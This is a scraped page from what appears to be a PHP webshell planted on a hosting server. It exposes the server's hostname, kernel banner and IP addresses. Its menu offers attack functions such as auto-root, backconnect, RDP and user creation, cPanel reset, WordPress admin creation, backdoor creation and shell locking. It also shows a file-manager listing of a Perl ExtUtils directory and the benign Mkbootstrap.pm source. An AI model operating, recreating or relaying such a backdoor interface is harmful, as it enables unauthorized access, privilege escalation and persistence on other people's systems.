Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 18.217.110.140
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
share /
perl5 /
ExtUtils /
[ HOME SHELL ]
Name
Size
Permission
Action
Command
[ DIR ]
drwxr-xr-x
Liblist
[ DIR ]
drwxr-xr-x
MakeMaker
[ DIR ]
drwxr-xr-x
Command.pm
7.61
KB
-r--r--r--
Install.pm
39.63
KB
-r--r--r--
Installed.pm
14.03
KB
-r--r--r--
Liblist.pm
9.27
KB
-r--r--r--
MANIFEST.SKIP
971
B
-r--r--r--
MM.pm
2.09
KB
-r--r--r--
MM_AIX.pm
1.45
KB
-r--r--r--
MM_Any.pm
80.89
KB
-r--r--r--
MM_BeOS.pm
1.02
KB
-r--r--r--
MM_Cygwin.pm
3.88
KB
-r--r--r--
MM_DOS.pm
1.03
KB
-r--r--r--
MM_Darwin.pm
930
B
-r--r--r--
MM_MacOS.pm
887
B
-r--r--r--
MM_NW5.pm
5.34
KB
-r--r--r--
MM_OS2.pm
3.14
KB
-r--r--r--
MM_QNX.pm
893
B
-r--r--r--
MM_UWIN.pm
980
B
-r--r--r--
MM_Unix.pm
112.36
KB
-r--r--r--
MM_VMS.pm
66.67
KB
-r--r--r--
MM_VOS.pm
748
B
-r--r--r--
MM_Win32.pm
14.32
KB
-r--r--r--
MM_Win95.pm
1.25
KB
-r--r--r--
MY.pm
676
B
-r--r--r--
MakeMaker.pm
106.94
KB
-r--r--r--
Manifest.pm
22.89
KB
-r--r--r--
Mkbootstrap.pm
3.22
KB
-r--r--r--
Mksymlists.pm
10.74
KB
-r--r--r--
Packlist.pm
8.36
KB
-r--r--r--
testlib.pm
911
B
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Mkbootstrap.pm
package ExtUtils::Mkbootstrap; # There's just too much Dynaloader incest here to turn on strict vars. use strict 'refs'; our $VERSION = '7.44'; $VERSION =~ tr/_//d; require Exporter; our @ISA = ('Exporter'); our @EXPORT = ('&Mkbootstrap'); use Config; our $Verbose = 0; sub Mkbootstrap { my($baseext, @bsloadlibs)=@_; @bsloadlibs = grep($_, @bsloadlibs); # strip empty libs print " bsloadlibs=@bsloadlibs\n" if $Verbose; # We need DynaLoader here because we and/or the *_BS file may # call dl_findfile(). We don't say `use' here because when # first building perl extensions the DynaLoader will not have # been built when MakeMaker gets first used. require DynaLoader; rename "$baseext.bs", "$baseext.bso" if -s "$baseext.bs"; if (-f "${baseext}_BS"){ $_ = "${baseext}_BS"; package DynaLoader; # execute code as if in DynaLoader local($osname, $dlsrc) = (); # avoid warnings ($osname, $dlsrc) = @Config::Config{qw(osname dlsrc)}; $bscode = ""; unshift @INC, "."; require $_; shift @INC; } if ($Config{'dlsrc'} =~ /^dl_dld/){ package DynaLoader; push(@dl_resolve_using, dl_findfile('-lc')); } my(@all) = (@bsloadlibs, @DynaLoader::dl_resolve_using); my($method) = ''; if (@all || (defined $DynaLoader::bscode && length $DynaLoader::bscode)){ open my $bs, ">", "$baseext.bs" or die "Unable to open $baseext.bs: $!"; print "Writing $baseext.bs\n"; print " containing: @all" if $Verbose; print $bs "# $baseext DynaLoader bootstrap file for $^O architecture.\n"; print $bs "# Do not edit this file, changes will be lost.\n"; print $bs "# This file was automatically generated by the\n"; print $bs "# Mkbootstrap routine in ExtUtils::Mkbootstrap (v$VERSION).\n"; if (@all) { print $bs "\@DynaLoader::dl_resolve_using = "; # If @all contains names in the form -lxxx or -Lxxx then it's asking for # runtime library location so we automatically add a call to dl_findfile() if (" @all" =~ m/ -[lLR]/){ print $bs " dl_findfile(qw(\n @all\n ));\n"; } else { print $bs " qw(@all);\n"; } } # write extra code if *_BS says so print $bs $DynaLoader::bscode if $DynaLoader::bscode; print $bs "\n1;\n"; close $bs; } } 1; __END__ =head1 NAME ExtUtils::Mkbootstrap - make a bootstrap file for use by DynaLoader =head1 SYNOPSIS Mkbootstrap =head1 DESCRIPTION Mkbootstrap typically gets called from an extension Makefile. There is no C<*.bs> file supplied with the extension. Instead, there may be a C<*_BS> file which has code for the special cases, like posix for berkeley db on the NeXT. This file will get parsed, and produce a maybe empty C<@DynaLoader::dl_resolve_using> array for the current architecture. That will be extended by $BSLOADLIBS, which was computed by ExtUtils::Liblist::ext(). If this array still is empty, we do nothing, else we write a .bs file with an C<@DynaLoader::dl_resolve_using> array. The C<*_BS> file can put some code into the generated C<*.bs> file by placing it in C<$bscode>. This is a handy 'escape' mechanism that may prove useful in complex situations. If @DynaLoader::dl_resolve_using contains C<-L*> or C<-l*> entries then Mkbootstrap will automatically add a dl_findfile() call to the generated C<*.bs> file. =cut
Close